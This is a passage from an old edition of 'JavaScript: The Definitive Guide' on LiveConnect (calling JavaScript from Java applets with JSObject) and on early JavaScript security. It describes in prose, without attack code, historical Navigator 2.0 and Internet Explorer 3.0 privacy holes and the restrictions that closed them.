Although the objects in the embeds[] array are all instances of subclasses of netscape.plugin.Plugin, there is one method that all subclasses share which you may find useful in your JavaScript code. The isActive() method returns true if the specified Plugin object is still active and false if it is not. Generally, a plug-in will only become inactive if it was on a page that is no longer displayed. This situation can only arise when you store references to the embeds[] array of one window in JavaScript variables of another window.

Previous | Home | Next
JavaScript Conversion of JavaObjects | Book Index | Using JavaScript from Java
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] 19.6 Using JavaScript from Java

JavaScript: The Definitive Guide

Previous Chapter 19
LiveConnect: JavaScript and Java 		Next

19.6 Using JavaScript from Java

Having explored how to control Java from JavaScript code, we now turn to the opposite problem: how to control JavaScript from Java code. This control is accomplished primarily through the netscape.javascript.JSObject class. Just as a JavaObject is a JavaScript wrapper around a Java object, so a JSObject is a Java wrapper around a JavaScript object.

The JSObject Class

All Java interactions with JavaScript are performed through a single interface--the netscape.javascript.JSObject class. An instance of this class is a wrapper around a single JavaScript object. The class defines methods that allow you to read and write property values and array elements of the JavaScript object, and to invoke methods of the object. A synopsis of this class appears in the code Example 19.4.

Example 19.4: Synopsis of the netscape.javascript.JSObject Class

public final class JSObject extends Object {
  // static method to obtain initial JSObject for applet's browser window
  public static JSObject getWindow(java.applet.Applet applet);
  public Object getMember(String name);                 // read object property
  public Object getSlot(int index);                     // read array element
  public void setMember(String name, Object value);     // set object property
  public void setSlot(int index, Object value);         // set array element
  public void removeMember(String name);                // delete property
  public Object call(String methodName, Object args[]); // invoke method
  public Object eval(String s);                         // evaluate string
  public String toString();                             // convert to string
  protected void finalize();
}

Because all JavaScript objects appear in a hierarchy rooted at the current browser window, JSObjects must also appear in a hierarchy. In order for a Java applet to interact with any JavaScript objects, it must first obtain a JSObject that represents the browser window (or frame) in which the applet appears. The JSObject class does not define a constructor method, so we cannot simply create an appropriate JSObject. Instead, we must call the static getWindow() method. When passed a reference to an applet itself, this method returns a JSObject that represents the browser window that contains that applet. Thus, every applet that interacts with JavaScript will include a line that looks something like this

JSObject jsroot = JSObject.getWindow(this);  // "this" is the applet itself

Having obtained a JSObject that refers to the "root" window of the JavaScript object hierarchy, you can use instance methods of the JSObject to read the values of properties of the JavaScript object that it represents. Most of these properties have values that are themselves JavaScript objects, and so you can continue the process and read their properties as well. The JSObject getMember() method returns the value of a named property, and the getSlot() method returns the value of a numbered array element of the specified JavaScript object. You might use these methods as follows:

import netscape.javascript.JSObject;  // this must be at the top of the file
        ...
JSObject jsroot = JSObject.getWindow(this);                  // self
JSObject document = (JSObject) jsroot.getMember("document"); //  .document
JSObject applets = (JSObject) document.getMember("applets"); //    .applets
Applet applet0 = (Applet) applets.getSlot(0);                //      [0]

Note two things about this code fragment above. First, that getMember() and getSlot() both return a value of type Object, which generally must be cast to some more specific value, such as a JSObject. Second, that the value read from "slot" 0 of the applets array can be cast to an Applet, rather than a JSObject. This is because the elements of the JavaScript applets[] array are JavaObject objects that represent Java Applet objects. When Java reads a JavaScript JavaObject, it "unwraps" that object and returns the Java object (in this case an Applet) that it contains. The data conversion that occurs through the JSObject interface will be documented later in this section.

The JSObject class also supports methods for setting properties and array elements of JavaScript objects. setMember() and setSlot() are analogous to the getMember() and getSlot() methods we've already seen. These methods set the value of a named property or a numbered array element to a specified value. Note, however, that the value to be set must be a Java Object. This means that you can set JavaScript properties to values of types such as Applet, String, and JSObject, but you cannot set them to boolean, int, or double. Instead of setting properties or array elements to primitive Java values, you must use their corresponding Java object types, such as Boolean, Integer, and Double. Finally, on a related not, the removeMember() method allows you to delete the value of a named property from a JavaScript object.

Besides reading and writing properties and array elements from JavaScript objects, the JSObject class also allows you to invoke methods of JavaScript objects. The JSObject call() method invokes a named method of the specified JavaScript object, and passes a specified array of Java objects as arguments to that method. As we saw when setting JavaScript properties, note that it is not possible to pass primitive Java values as arguments to a JavaScript method; instead you must use their corresponding Java object types. For example, you might use the call() method in Java code like the following to open a new browser window:

public JSObject newwin(String url, String window_name)
{
    Object[] args = { url, window_name };
    JSObject win = JSObject.getWindow(this);
    return (JSObject) win.call("open", args);
}

The JSObject has one more very important method: eval(). This Java method of the JSObject works just like the JavaScript method of the JavaScript Object type--it executes a string that contains JavaScript code. You'll find that using eval() is often much easier than using the various other methods of the JSObject class. One reason is that it can be much simpler to use. Another is that since all the code is passed as a string, you can use a string representation of the data types you want, and do not have to convert Java primitive types to their corresponding object types. For example, compare the following two lines of code that set properties of the main browser window:

jsroot.setMember("i", new Integer(0));
jsroot.eval("self.i = 0");
The second line is obviously easier to understand. As another example, consider the following use of eval():

JSObject jsroot = JSObject.getWindow(this);
jsroot.eval("parent.frames[1].document.write('Hello from Java!')");
To do the equivalent without the eval() method is a lot harder:

JSObject jsroot = JSObject.getWindow(this);
JSObject parent = (JSObject) jsroot.getMember("parent");
JSObject frames = (JSObject) parent.getMember("frames");
JSObject frame1 = (JSObject) frames.getSlot(1);
JSObject document = (JSObject) frame1.getMember("document");
Object[] args = { "Hello from Java!" };
document.call("write", args);

Using JSObjects in Applets

Example 19.5 shows the init() method of an applet that uses LiveConnect to interact with JavaScript.

Example 19.5: Using JavaScript from an Applet Method

import netscape.javascript.*
public void init()
{
    // get the JSObject representing the applet's browser window.
    JSObject win = JSObject.getWindow(this);
    // Run JavaScript with eval(). Careful with those nested quotes!
    win.eval("alert('The CPUHog applet is now running on your computer. " +
             "You may find that your system slows down a bit.');");
}

In order to use any applet you must compile it and then embed it in an HTML file. When the applet interacts with JavaScript, special instructions are required for both of these steps.

Compiling applets that use the JSObject class

Any applet that interacts with JavaScript uses the netscape.javascript.JSObject class. In order to compile these applets, therefore, your Java compiler must know where to find a definition of this class. Because the class is defined and shipped by Netscape and not by Sun, the javac compiler from Sun does not know about it. This section explains how to enable your compiler to find this required class. If you are not using the JDK from Sun, then you may have to do something a little different--see the documentation from the vendor of your Java compiler or Java development environment.

The basic approach to tell the JDK compiler where to find classes is to set the CLASSPATH environment variable. This environment variable specifies a list of directories and zip files that the compiler should search for class definitions (in addition to its standard directory of system classes). Navigator 3.0 stores its class definitions in a file named java_30. The exact location of this file depends on what platform you use and also on how and where you installed the browser files. On a Unix system, the full path to this file will depend on where you installed Navigator, but will typically be something like:

/usr/local/lib/netscape/java_30
On a Windows 95 system, the path will also depend on where you chose to install Navigator, but it will usually be something like:

C:\ProgramFiles\Netscape\Navigator\Program\Java\Classes\Java_30
You may have to search a bit to locate this file on your system.

The java_30 file, wherever it is located, is an uncompressed zip file of all the Java classes Navigator needs. The javac compiler can extract classes from zip files, and so you can tell the compiler where to find the netscape.javascript.JSObject class with lines like the following. For Unix systems:

setenv CLASSPATH .:/usr/local/lib/netscape/java_30
And for Windows 95 systems:

set CLASSPATH=.;C:\Program Files\Netscape\Navigator\Program\Java\Classes\Java_30

If this does not work for you, you may need to extract the netscape/ directory from the java_30 zip file, and install this directory somewhere like /usr/local/lib/netscape_classes. Then, you can include this unzipped directory in your CLASSPATH environment variable.

The MAYSCRIPT attribute

There is one further requirement before you can run an applet that interacts with JavaScript. As a security precaution, applets are not allowed to use JavaScript unless the web page author (who may be different than the applet author) explicitly gives the applet permission to do so. To give this permission, you must include the new MAYSCRIPT attribute in an applet's <APPLET> tag in the HTML file.

Example 19.5 showed a fragment of an applet that used JavaScript to display an alert dialog box. Once you have successfully compiled this applet, you might include it in an HTML file with HTML code like the following:

<APPLET code="CPUHog.class" width=300 height=300 MAYSCRIPT></APPLET>
If you do not remember to include the MAYSCRIPT tag, the applet will not be allowed to interact with JavaScript.

A complete example

Example 19.6 shows a complete example of a Java class that uses LiveConnect and the JSObject class to communicate with JavaScript. The class is a subclass of java.io.OutputStream, and is used to allow a Java applet to write HTML text into a newly created web browser window. An applet might want to do this because it provides a way to display formatted text, which is difficult to do with Java itself. Another important reason that an applet might want to display its output in a browser window is that this gives the user the ability to print the output or save it to a file, which are capabilities that applets themselves do not have.

Example 19.6: An OutputStream for Displaying HTML in a Browser Window

import netscape.javascript.JSObject;    // these are the classes we'll use
import java.applet.Applet;
import java.io.OutputStream;
// an output stream that sends HTML text to a newly created web browser window
public class HTMLOutputStream extends OutputStream
{
    JSObject main_window;        // the initial browser window
    JSObject window;             // the new window we create
    JSObject document;           // the document of that new window
    static int window_num = 0;   // used to give each new window a unique name
    // To create a new HTMLOutputStream, you must specify the applet that
    // will use it (this specifies a browser window) and the desired size
    // for the new window.
    public HTMLOutputStream(Applet applet, int width, int height)
    {
        // get main browser window from the applet with JSObject.getWindow()
        main_window = JSObject.getWindow(applet);
        // use JSObject.eval() to create a new window
        window = (JSObject)
            main_window.eval("self.open(''," +
                             "'HTMLOutputStream" + window_num++ + "'," +
                             "'menubar,status,resizable,scrollbars," +
                             "width=" + width + ",height=" + height + "')");
        // use JSObject.getMember() to get the document of this new window
        document = (JSObject) window.getMember("document");
        // Then use JSObject.call() to open this document.
        document.call("open", null);
    }
    // This is the write() method required for all OutputStream subclasses.
    public void write(byte[] chars, int offset, int length)
    {
        // create a string from the specified bytes
        String s = new String(chars, 0, offset, length);
        // store the string in an array for use with JSObject.call()
        Object[] args = { s };
        // check to see if the window has been closed
        boolean closed = ((Boolean)window.getMember("closed")).booleanValue();
        // if not, use JSObject.call() to invoke document.write()
        if (!closed) document.call("write", args);
    }
    // Here are two variants on the above method, also required.
    public void write(byte[] chars) { write(chars, 0, chars.length); }
    public void write(int c) { byte[] chars = {(byte)c}; write(chars, 0, 1); }
    // When the stream is closed, use JSObject.call() to call Document.close
    public void close() { document.call("close", null); }
    // This method is unique to HTMLOutputStream. If the new window is
    // still open, use JSObject.call() to invoke Window.close() to close it.
    public void close_window()
    {
        boolean closed = ((Boolean)window.getMember("closed")).booleanValue();
        if (!closed) window.call("close", null);
    }
}

Data Conversion

At the beginning of this chapter we described the rules by which value are converted when JavaScript reads and writes Java fields and invokes Java methods. Those rules explained how the JavaScript JavaObject, JavaArray, JavaClass, and JavaMethod objects convert data, and they apply only to the case of JavaScript manipulating Java. When Java manipulates JavaScript, the conversion is performed by the Java JSObject, and the conversion rules are different. Figure 19.5 and Figure 19.6 illustrate this conversion.

Figure 19.5: Data conversions performed when Java writes JavaScript values

[Graphic: Figure 19-5]

Figure 19.6: Data conversions performed when Java reads JavaScript values

[Graphic: Figure 19-6]

The point to remember when studying these figures is that Java can only interact with JavaScript through the API provided by the JSObject class. This class allows only Java objects, not primitive values, to be written to JavaScript, and allows only Java objects to read from JavaScript. When writing JavaScript functions that will be invoked from Java, bear in mind that the arguments passed by Java will either be JavaScript objects from unwrapped Java JSObjects, or they will be JavaObjects. As we saw earlier in this chapter, JavaObjects behave somewhat differently than other types. For example, an instance of java.lang.Double behaves differently than a primitive JavaScript number or even a JavaScript Number object. The same caution applies when you are working with JavaScript properties that will have their values set by Java.

Keep in mind that one way to avoid the whole issue of data conversion is to use the eval() method of the JSObject class whenever your Java code wants to communicate with JavaScript. In order to do this, your Java code must convert all method arguments or property values to string form. Then the string to be evaluated can be passed unchanged to JavaScript, which can convert the string form of the data to the appropriate JavaScript data types.

Previous | Home | Next
Scripting Java with JavaScript | Book Index | Working with Java in Internet Explorer
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] 19.7 Working with Java in Internet Explorer

JavaScript: The Definitive Guide

Previous Chapter 19
LiveConnect: JavaScript and Java 		Next

19.7 Working with Java in Internet Explorer

Internet Explorer 3.0 does not support LiveConnect. Instead, it treats Java applets as ActiveX objects and allows JavaScript to interact with them through that mechanism. This gives Internet Explorer some, but not all, of the capabilities of LiveConnect.

Interacting with Applets

Internet Explorer 3.0 can invoke the public methods of Java applets and can read and write the values of public fields of Java applets, in much the same way that Navigator 3.0 can. Although the underlying mechanism is different, the basic syntax is the same:

document.appletname.property
document.appletname.method(...)

The data conversion that occurs when Internet Explorer passes values back and forth to Java follows ActiveX's rules, and is not documented here.

There are a couple of restrictions on IE 3.0 interactions with applets. First, note that it does not support the applets[] array of the Document object. So if you want to read or write properties or invoke methods of an applet, you must call the applet by name, and you must assign a name to the applet with the NAME attribute of the <APPLET> tag.

Second, note the Internet Explorer can only read and write properties and invoke methods of the applet object itself. IE does not have an equivalent to the LiveConnect JavaObject object, so if an applet has a property that refers to some other Java object, IE cannot read and write properties or invoke methods of that other object. To work around this shortcoming, you simply need to be sure that all functionality you need to access from JavaScript is implemented as a method of the applet, even if some of those methods do nothing more than invoke a method of some other object.

Third, Internet Explorer can only invoke the public instance methods of an applet. It has no mechanism for invoking with Java class methods.

Interacting with Plug-Ins and System Classes

Internet Explorer 3.0 can install and use Navigator plug-ins, but it does not allow JavaScript to interact with them in the way that Navigator does. Similarly, it does not have JavaPackage or JavaClass objects, and so has no way to read or write properties of system classes, invoke methods of system classes or create instances of system classes.

Calling JavaScript from Applets

Internet Explorer does not support the netscape.javascript.JSObject class, and does not allow Java applets to invoke JavaScript methods or read and write JavaScript properties.

Microsoft's ActiveX technology does allow Java applets in IE to interact with OLE objects embedded in a web page, as long as the applet is compiled so that it supports the desired object and as long as JavaScript passes a reference to the OLE control to the applet. Once JavaScript has told the applet where it can find the OLE control, any interaction occurs directly between the applet and the OLE object, without the intervention of JavaScript. This differs from the LiveConnect model in which an applet can use JavaScript as an intermediary to control any arbitrary applet or plug-in without special compilation being required to enable direct communication between the first applet and the other applet or plug-in.

Previous | Home | Next
Using JavaScript from Java | Book Index | Summary
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 19] 19.8 Summary

JavaScript: The Definitive Guide

Previous Chapter 19
LiveConnect: JavaScript and Java 		Next

19.8 Summary

LiveConnect allows JavaScript and Java to cooperate through two fairly separate and symmetrical systems. In JavaScript, the JavaPackage, JavaClass, JavaObject, JavaArray, and JavaMethod objects all allow JavaScript to read and write Java properties and arrays and to invoke Java methods. In Java, the netscape.javascript.JSObject class allows Java programs to read and write properties of JavaScript objects and elements of JavaScript arrays, to invoke JavaScript functions, and evaluate strings of JavaScript code. The following two subsections summarize these two halves of LiveConnect.

JavaScript to Java

  • The JavaClass, JavaObject, JavaArray, and JavaMethod objects allow transparent communication between JavaScript and Java--they handle data conversion and all the tricky behind-the-scenes work.

  • The data conversions performed when JavaScript reads and writes Java values are illustrated in Figure 19.2 and Figure 19.3.

  • Most Java objects are converted to JavaScript JavaObject objects. JavaObjects behave differently than other JavaScript objects, and need to be handled with care. In particular, JavaObjects are converted to numeric, Boolean and string values differently than other JavaScript types are.

  • You can use the JavaPackage objects referred to by the Window properties Packages, java, sun, and netscape to obtain a JavaClass object for any of the standard classes built in to Navigator. The JavaClass object allows you to read and write static properties and invoke static methods of a class.

  • You can use the new operator on a JavaClass object to create a new Java object and a JavaScript JavaObject wrapper for it. You can use this JavaObject to read and write instance fields and invoke instance methods.

  • You can use the getClass() function to obtain a JavaClass object corresponding to the Java class of a JavaObject object.

  • You can "script" Java directly from JavaScript simply by working with the predefined classes. But this technique is limited--no significant user interaction with a "scripted" Java program is possible.

  • You can also use the document.applets[] array and the JavaObject objects it contains to interact with applets. Manipulating the fields and methods of a custom-written applet allows a richer set of possibilities than simply scripting with the basic Java classes.

  • You can use the document.embeds[] array and the JavaObjects it contains to interact with the plug-ins that are displaying embedded data in the document. You can control plug-ins through vendor-specific Java APIs.

Java to JavaScript

  • The netscape.javascript.JSObject class is the Java equivalent of the JavaScript JavaObject class. It handles data conversion and all the behind-the-scenes work to allow Java code to communicate with JavaScript.

  • The data conversions performed when Java reads and writes JavaScript data are illustrated in Figure 19.5 and Figure 19.6.

  • The getMember() and getSlot() methods of a JSObject allow Java to read JavaScript object properties and array elements.

  • The setMember() and setSlot() methods allow Java to set the value of JavaScript object properties and array elements.

  • The call() method of a JSObject allows Java to invoke JavaScript functions.

  • The eval() method of a JSObject allows Java to pass an arbitrary string of JavaScript code to the JavaScript interpreter for execution. This method is often easier to use than the other JSObject methods.

  • An applet that uses the JSObject class must import it with an import statement. To compile the applet, the CLASSPATH environment variable must be set to include the Java classes supplied by Netscape.

  • In order to interact with JavaScript, an applet must be embedded in an HTML document with an <APPLET> tag that includes the MAYSCRIPT attribute.

Previous | Home | Next
Working with Java in Internet Explorer | Book Index | JavaScript Security
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 20] JavaScript Security

JavaScript: The Definitive Guide

Previous Chapter 20 Next

20. JavaScript Security

Contents:
JavaScript and Security
Security Holes and Security Hobbles
The domain Property
The Data-Tainting Security Model

Because of the wide-open nature of the Internet, security is an important issue. This is particularly true with the introduction of languages like Java and JavaScript, because they allow executable content to be embedded in otherwise static web pages. Since loading a web page can cause arbitrary code to be executed on your computer, stringent security precautions are required to prevent malicious code from doing any damage to your data or your privacy. This chapter discusses Internet security issues related to JavaScript. Note that this chapter does not cover any of the many other issues involved in web security, such as the authentication and cryptography technologies used to keep the contents of web documents and HTML forms private while they traverse the Web.

20.1 JavaScript and Security

JavaScript's first line of defense against malicious code is that the language simply doesn't support certain capabilities. For example, client-side JavaScript does not provide any way to read, write, create, delete, or list files or directories on the client computer. Since there is no File object, and no file access functions, a JavaScript program obviously cannot delete a user's data, or plant viruses on the user's system, for example.

Similarly, client-side JavaScript has no networking primitives of any type. A JavaScript program can load URLs and send HTML form data to web servers and CGI scripts, but it cannot establish a direct connection to any other hosts on the network. This means, for example, that a JavaScript program cannot use a client's machine as a attack platform from which to attempt to crack passwords on other machines. (This would be a particularly dangerous possibility if the JavaScript program has been loaded from the Internet, through a firewall, and then could attempt to break into the intranet protected by the firewall.)

While the JavaScript language itself provides this basic level of security against the most egregious attacks, there are other security issues that remain. Primarily these are privacy issues--JavaScript programs must not be allowed to export information about the user of a browser when that information is supposed to be private.

When you browse the Web, one of the pieces of information you are consenting to release about yourself is the web browser that you use: it is a standard part of the HTTP protocol that a string identifying your browser, version, and vendor is sent with every request for a web page. This information is public, as is the IP address of your Internet connection, for example. But other information should not be public. This includes your email address, for example, which should not be released unless you choose to do so by sending an email message or authorizing an automated email message to be sent under your name.

Similarly, your browsing history (what sites you've already visited) and the contents of your bookmarks list should remain private. Because your browsing history and bookmarks say a lot about your interests, this is information that direct marketers and others would pay good money for, so that they can more effectively target sales pitches to you. Because this information is so valuable, you can be sure that if a web browser or JavaScript allowed this private information to be stolen, someone would be stealing it every time you visited their site. Once stolen, it would be on the market only nanoseconds later. Most users of the Web would be uncomfortable with the idea that any site they visit could find out that they are cat fanciers who are interested in women's footwear and the Sierra Club.

Even assuming that we have no embarrassing fetishes to hide, there are plenty of good reasons to be concerned about data privacy. One such reason is a pragmatic concern about receiving electronic junk mail and the like. Another is a very legitimate concern about keeping secrets. We don't want a JavaScript program to be able to start examining data behind our corporate firewall or to upload our passwords file to its web server, for example. At a more general level, we might desire that our private data be protected simply because we believe that individuals should have control over the ways that their personal data is collected and used.

Navigator and other browsers already have the ability to establish secure communication channels on the Web so that the information transferred back and forth between web server and web client remains private. By turning static HTML into dynamic programs, JavaScript opens the door to unethical web pages that steal private information and send it (through secure or insecure channels) back to the web server. It is this possibility that JavaScript must defend against. The remainder of this chapter explains how JavaScript does this, and also documents cases where it has failed to do it.

Previous | Home | Next
Summary | Book Index | Security Holes and Security Hobbles
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 20] 20.2 Security Holes and Security Hobbles

JavaScript: The Definitive Guide

Previous Chapter 20
JavaScript Security 		Next

20.2 Security Holes and Security Hobbles

The approach to JavaScript security in Navigator 2.0 and 3.0 has been to first identify security holes through which private information could be exported, and then to plug those holes. Typically, security holes are plugged by implementing a "security hobble"--i.e., by restricting or "hobbling" the capabilities of JavaScript so that the hole cannot be exploited. For example, the History object in client-side JavaScript is an array of the URLs that the user has previously visited during the current browsing session. Because this information is private, JavaScript has been hobbled so that it cannot access the elements of this array. Because of this hobble, we are left with a History object that supports only forward(), back(), and go() methods.

The problem with an identify-and-patch approach is that it can be difficult to identify security holes, and that there is no way of knowing when you've found all possible holes. A web browser is a complex thing, and JavaScript is a powerful scripting language. In Navigator 2.0 and 2.0.1, these two facts intersected to produce a number of security holes that had not been patched. For example, in Navigator 2.0, a JavaScript program could open a new window to display the special about:cache URL. Then it could read the links[] array of the document of that window to obtain information about cached files (and hence browsing history) of the client browser. This information could be placed in hidden fields of an HTML form and submitted to the web server without the user's knowledge. The about:cache URL could be displayed in a window so small that the user wouldn't notice it, or it could even be displayed in an invisible frame (i.e., one with zero height). A similar attack used the file:/// URL to discover the contents of the root directory of the client's system, and could recursively proceed to determine the client's entire directory structure.

Another attack, one that was undoubtedly exploited to some extent on the Internet, allowed a JavaScript program to automatically send email to any desired address whenever the user visited a web page. What this does, of course, is steal the email address of everyone who visits a page. This attack was accomplished by using the submit() method of the Form object to automatically submit an empty (and invisible) HTML form to a mailto: URL.

Not all security holes in Navigator 2.0 and 2.0.1 were the result of unforeseen interactions between the features of JavaScript and the rest of Navigator. Some were just bugs, plain and simple. For example, one bug allowed a web page to leave JavaScript code behind after it was unloaded. This code could do anything it wanted to. It could violate security by checking the URL of the document currently being viewed once every second and sending that information off to a web server or email address. Instead of publicizing a user's browsing history, this security hole publicized a user's browsing future!

Another serious bug-induced security hole was related to a bug in the security hobble for the FileUpload form element. JavaScript is hobbled so that it is not allowed to set the filename that appears in the FileUpload element. If it could set it, it would clearly be trivial to send the contents of any file on the client's computer (a password file, perhaps) across the network to a web server, an obviously grave breach of security. Unfortunately, there the hobble that prevented this was not sufficient, and there was a straightforward trick that would allow a JavaScript program to specify what file was to be uploaded. Fortunately, this trick was not publicized, and a new version of Navigator, with this bug fixed, was quickly released.[1]

[1] For more information on this and other Netscape 2.0 and 2.0.1 security holes, see the "JavaScript Problems I've Discovered" web pages by John Robert LoVerso of the OSF Research Institute at http://www.osf.org/~loverso/javascript.

Many of the security holes discovered in Navigator 2.0 were patched with hobbles in Navigator 2.0.1, and Netscape even added the option to disable JavaScript entirely (the ultimate hobble) in this version of the browser. Unfortunately, a new crop of holes were discovered almost as soon as 2.0.1 was released. Because of the continuing problem with security holes, and because of the resulting bad press, Netscape soon released Navigator 2.0.2, which fixed all known security-related bugs and implemented a very general hobble that would, hopefully, spell an end to security holes. With this hobble implemented, a JavaScript program is not allowed to read the properties of any window (or frame) or the properties of any objects within a window if the contents of that window were loaded from a different web server than the JavaScript program itself. This hobble rules out a whole class of security holes. It means that a program cannot open a new window to display about:cache, file:///, or some other URL and extract information from that URL. This hobble is particularly important when a corporate firewall is in use--it prevents a script loaded from the Internet from opening a new window and going browsing in a private intranet.

The bug fixes and the mega-hobble in Navigator 2.0.2 were included in Navigator 3.0 and appear to have been quite effective at patching security holes--there has been a long spell without any new ones being discovered. Unfortunately a new hole has recently been discovered. The hobble that was inserted to prevent automatic submission of a form to a mailto: URL only worked for certain form encodings and methods. Embarrassingly for Netscape, it turns out that other combinations of form submission methods and encodings still allow a form to be automatically submitted without user confirmation, effectively stealing the user's email address. By the time this book is published, the hobble will have been strengthened, and this security hole will have been patched (for good this time, we hope) in Navigator 3.0.1.

Security Hobbles in Navigator 3.0

The following is a complete list of security hobbles in Navigator 3.0.1. While not all earlier versions of Navigator implement all of these hobbles, you should assume that they are all in place, if you want your code to be portable to the latest versions of Navigator. If you are yourself worried about private information being exported through security holes, then you should of course upgrade to the most recent version of Navigator that has all of these hobbles implemented.

  • The History object does not allow access to its array elements or to its next, previous, or current properties that contain URLs that the browser has previously visited. These URLs are private information and scripts are not allowed to access them because they could otherwise export them through an HTML form.

  • The value property of the Password object does not contain the user's input to that Password field. The user's input is submitted with the form, but is hidden from the script. A script can read and write the value property, but cannot affect the value displayed in the field nor obtain the user's actual input to that field. In theory, if a user trusts a CGI script with their password, they should also trust a script from the same site with it, but because passwords are such sensitive information, access is limited on a "need to know" basis. Since JavaScript does not "need to know" the value of a password intended for a CGI script, it is not allowed to know.

  • The value property of the FileUpload object is read-only. If this property could be set by JavaScript, a script could set it to any desired filename and cause the form to upload the contents of any specified file (such as a password file) to the server. There was a flaw in this hobble in Navigator 2.0.1 which allowed malicious scripts to upload arbitrary files. The hobble has been strengthened and correctly implemented in 2.0.2 and later versions.

  • A form that is to be submitted to a mailto: URL cannot be submitted without the user's explicit approval. If this were not the case, then a script could steal the user's email address by submitting an empty form automatically through the Form.submit() method or by tricking the user into clicking on a Submit button. Prior to Navigator 3.0.1, this hobble was only partially implemented--user confirmation for mailto: forms was only required when the form was submitted with the POST method and the default encoding type. In 3.0.1, confirmation is required for all mailto: form submissions.

  • JavaScript cannot read properties of a window if the contents of that window were loaded from a different server than the JavaScript code being run. A "different server" is any server on a different host, or a server on the same host using a different protocol. This prevents scripts from one site from stealing any kind of information from other sites (which might be behind firewalls, for example).

  • A JavaScript program cannot run for a very long time without periodic user confirmation that it should continue. After every one million "branches" (i.e., if statements and loop iterations) that the JavaScript interpreter executes, it pops up a dialog notifying the user that the script is still running and asks if it should continue to execute it. This helps prevent JavaScript programs from using a client machine as a computation server, or from attempting a "denial of service" attack by locking up the browser or slowing it down so much as to be unusable. Note, however, that this doesn't help all that much. One trivial denial-of-service attack simply involves repeatedly popping up dialog boxes with alert().

  • A JavaScript program cannot close a browser window without user confirmation unless it opened the window itself. This prevents malicious scripts from calling self.close() to close the user's browsing window, thereby causing Navigator to exit. There is one exception to this hobble. The first page loaded when Navigator starts up is allowed to close the initial browsing window. This exception enables power users to create home pages that close the default browsing window and open one or more custom windows.

Security in Internet Explorer

Since Internet Explorer 3.0 has not been around as long and is not used as commonly as Navigator, it has not been subjected to such intense scrutiny, as Netscape's browser was. Thus, while IE does not have a history of security holes its implementation of JavaScript, there may yet be holes discovered.

The one known JavaScript security hole in Internet Explorer is a major one. IE does not contain the security hobble described above which prevents a script from one URL from reading the properties of a script from another URL. This means, for example, that if you use IE on Windows 95, a script could load the contents of a URL like file:///C|\Windows\StartMenu\ into a hidden frame, and then examine the links[] array of that frame to determine what programs you have installed in your Windows start menu. This private information might then be submitted in a hidden field of some innocuous looking form.

Previous | Home | Next
JavaScript and Security | Book Index | The domain Property
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 20] 20.3 The domain Property

JavaScript: The Definitive Guide

Previous Chapter 20
JavaScript Security 		Next

20.3 The domain Property

As we've seen, Navigator 2.0.2 and later implement a very general security hobble intended to blanket an entire category of security holes: scripts from one server cannot read properties of windows or documents from another server. This is quite a severe restriction, and poses problems for large web sites that use more than one server. For example, a script from home.netscape.com might legitimately want to read properties of a document loaded from developer.netscape.com. While this seems like a reasonable and secure thing to do, the hobble does not allow it.

In order to support large web sites of this sort, Navigator 3.0 slightly relaxes the security hobble by introducing the domain property of the Document object. Internet Explorer 3.0 does not implement this property, but, as noted above, it also does not implement the problematic security hobble. By default, the domain property is the same as the hostname of the web server from which the document was loaded. You can set this property, but only to a string that is a valid domain suffix of itself. Thus, if domain is the string "home.netscape.com", you can set it to the string "netscape.com", but not to "home.netscape" or "cape.com", and certainly not to "microsoft.com".

If two windows contain scripts that both set their domain to the same value, then the security hobble will be relaxed for these two windows and in each of windows may read properties from the other.

Previous | Home | Next
Security Holes and Security Hobbles | Book Index | The Data-Tainting Security Model
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 20] 20.4 The Data-Tainting Security Model

JavaScript: The Definitive Guide

Previous Chapter 20
JavaScript Security 		Next

20.4 The Data-Tainting Security Model

The security model adopted by Navigator 2.0 and 3.0 is functional, but suffers from a number of problems. As we've seen, the "identify and hobble" approach is not very good at identifying security holes in the first place, and in a complex system like Navigator plus JavaScript, security holes can be difficult to find. Furthermore, hobbling JavaScript reduces the functionality available to developers. Some hobbles, while essential for security, end up breaking perfectly good scripts that pose no security threat and that ran correctly on earlier versions of the browser.

The hobble that prevents one script from reading the contents of a window from another server is a particularly draconian example. This hobble means that I cannot write a debugger program in JavaScript and post it on my web site for other developers to use on their own JavaScript programs. Developers would have to go through the extra step of downloading the debugging script and installing it on their own site, so that it can successfully examine the properties of the documents to be debugged. Similarly, this hobble prevents the creation of JavaScript programs that "crawl" the Web, recursively following links from a given starting page.

Because of the problems with hobbles, and with the theoretical underpinnings of security through hobbling, the developers at Netscape have created an entirely new security model. This new model is experimental in Navigator 3.0, and may be enabled by the end user through a procedure outlined later in this section. The new security model is theoretically much stronger, and should be a big advance for JavaScript security if it is enabled by default in Navigator 4.0. The following subsections explain this new model. Be aware in advance that this is a confusing model and can be difficult to understand.

Data Tainting in Theory

Let's back up a bit and reconsider the security problem we are worried about in the first place. For the most part, the problem is that private data may be sent across the Web by malicious JavaScript programs. The hobbling approach to security generally patches this problem by preventing JavaScript programs from accessing private data. Unfortunately, this approach rules out non-malicious JavaScript programs that would like to use that private data without exporting it. One such program, for example, might be a navigation aid that generates a list of all the links from a web page and displays them in a separate window or frame.

Instead of preventing scripts from reading private data, a better approach would be to prevent them from exporting it, since this is what we are trying to prevent in the first place. If we could do this, then we could lift most of the hobbles that were detailed in the sections above. (We'd still need some hobbles, to prevent a program from closing windows it didn't open, for example.) Unfortunately, preventing the export of private data can be tricky to do, because not only must we prevent a script from exporting private data directly, be we must also prevent it from exporting data derived, in any way, from private data. If you think through the implications, you can see that keeping track of the data that must not be exported could be a very difficult proposition.

